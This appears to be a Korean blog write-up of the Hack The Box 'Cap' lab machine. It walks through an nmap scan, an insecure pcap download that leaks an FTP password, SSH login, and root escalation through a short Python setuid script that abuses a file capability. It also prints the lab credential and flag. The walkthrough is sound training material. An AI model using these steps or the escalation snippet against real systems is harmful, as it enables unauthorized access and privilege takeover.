▌ TRANSMISSION · [HTB]

[EASY_LINUX] Cap write-up


alt text

우선 nmap 스캐닝부터 진행했다.

  ~ sudo nmap 10.129.32.106 -sC -sV --open --min-rate 2000 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-09 07:21 +0900
Nmap scan report for 10.129.32.106
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.74 seconds
  • 21/tcp : ftp
  • 22/tcp : ssh
  • 80/tcp : http

우선 ftp부터 정보 수집을 진행했다.

  ~ ftp 10.129.32.106
Connected to 10.129.32.106.
220 (vsFTPd 3.0.3)
Name (10.129.32.106:kali): anonymouse
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> 

Null session 취약점은 없는 듯 했다.

ftp는 나아가기 어려워보이니 패스했다.

다음으로는 http를 점검해봤다. (ssh도 정보가 없어서 시도 조차 어려움)

alt text

일단 Nathan 이라는 유저가 있는 것 같다. 그리고 좌측 메뉴에 PCAP, IP Config, Network Status 라는 메뉴들이 있었는데, 이것들 이외에는 따로 동작하는건 찾을 수 없었다.

IP Config, Network Status 모두 어떤 페이로드가 날아가는 형태가 아니라 고정값으로 박혀있는 형태여서 여기서 주어진 정보들로 뭔가 해야되는 것 같다.

IP Config는 말그대로 호스트 ip 정보가 들어있었고, Network Status는 netstat 명령을 사용한 결과가 보였다.

Network Status에는 소켓 상태도 확인이 가능했는데, lxd가 돌고 있었어서 나중에 침투 후 privilged로 실행이 가능한지 확인해보면 좋을 것 같다.

PCAP의 경우,

alt text

alt text

중요해 보이는 pcap 파일을 다운로드 할 수 있게 해뒀는데,

wireshark로 이를 확인해 보면, host랑 통신했단 패킷 내역들이 모여있다.

alt text

근데 다운로드 경로를 보니 /data/1 에서 다운로드가 된거 같은데, 0으로 바꿔서도 다운로드 해봤다.

alt text alt text

/data/1 에서는 내가 host한테 날린 패킷들이 보였는데, /data/0에서는 내부망에서 통신이 일어난 패킷 정보들이 보였다.

alt text

그리고 조금만 내려보면 FTP에 접속했던 기록을 확인할 수 있으며, nathan이라는 유저명과 Buck3tH4TF0RM3! 이라는 패스워드도 얻을 수 있었다!!

User : nathan
Password : Buck3tH4TF0RM3!

해당 정보로 ftp 서버에 다시 접근해보면,

  cap ftp nathan@10.129.32.106 
Connected to 10.129.32.106.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

요렇게 로그인에 성공할 수 있다!

ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||56999|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |**********************************************************************************************************************|    33        0.11 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:01 (0.02 KiB/s)
  cap cat user.txt
99f90c462152ff001034950b33d43ef1

여기서 user flag를 획득할 수 있다.

그리고 해당 정보와 동일하게 ssh 접속도 시도해봤다.

  cap ssh nathan@10.129.32.106
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
nathan@10.129.32.106's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri May  8 23:07:19 UTC 2026

  System load:           0.0
  Usage of /:            36.7% of 8.73GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             229
  Users logged in:       0
  IPv4 address for eth0: 10.129.32.106
  IPv6 address for eth0: dead:beef::a0de:adff:feec:a01

  => There are 4 zombie processes.

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ 

(성공~!)

user flag는 획득했기에, 바로 lpe를 진행해보기로 했다.

sudo -l로 sudo list를 확인해봤지만 권한이 막혀있었다.

lxd를 시도할까했지만, 어려워 보였다…(lxc가 없…)

PEAS(Privilege Escalation Awesome Script)툴의 힘을 빌려볼까 한다.

리눅스, 윈도우, macOS 등 다양한 운영체제 환경에서 LPE vector를 장동으로 스캔하고 식별하는 오픈소스 도구 모음이다.

  • 시스템 및 환경변수
  • 권한 및 사용자 설정
  • 파일 권한 및 특수 비트
  • 프로세스 및 스케줄링
  • 크리덴셜 수집
  • 등등

alt text

(실행 결과) Copy fail은 제외했다…

우선 CVE-2021-3493 이 탐지가 되었길래, 요거 CVE를 좀 찾아보니까

https://github.com/puckiestyle/CVE-2021-3493

POC도 금방 찾을 수 있었다.

근데 이 녀석을 쓸려고 보니까 잘 안돼서 다른 방법들을 찾아봤다.

(CVE류는 쓰기 까다로웠따…)

그러다가 python 취약점 하나가 있었는데,

alt text

이게 뭔지 살펴보니까, 다음과 같았다.

Cap(Capabilities) 과거 리눅스는 권한을 오직 두 가지로만 나누었다.

  • root
  • non-root
    예를 들어 일반 사용자가 ping 명령어를 치려면 네트워크의 Raw 소켓을 건드려하는데, 이 작업은 root 권한이 필요하다. 그래서 옛날에는 ping 프로그램에 SUID를 걸어서, 누가 실행하든 잠깐 root 권한으로 실행되게 만들었다.
    하지만 만약 ping 프로그램에 취약점이 있다면 해커는 곧바로 시스템 전체를 장악할 수 있었다.
    이 문제를 해결하기 위해 root의 권한을 작은 조각(Capability)로 쪼갠 것이 바로 cap이다.

flag의 의미

  • e (Effective) : 실행 시 권한이 즉시 활성화됨
  • p (Permitted) : 이 프로그램이 해당 권한을 사용할 수 있도록 승인됨
  • i (Inheritable) : 이 프로그램이 자식 프로세스를 만들 때 권한을 물려줄 수 있음.

여기까지 설명을 듣고 다시 peas 결과를 봤는데, 생각해보니 python3.8 이 녀석은 eip를 다 가지고 있을 필요가 없다.

심지어 setuid 명령을 맘대로 실행할 수 있어서 굉장히 취약하다.

import os
os.setuid(0)
os.system('/bin/sh')

이렇게 작성한 뒤, python3 으로 실행시켜보면?

nathan@cap:~$ vim exploit.py
nathan@cap:~$ python3 exploit.py
# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)

이렇게 권한 상승까지 성공할 수 있었다!


← ALL POSTS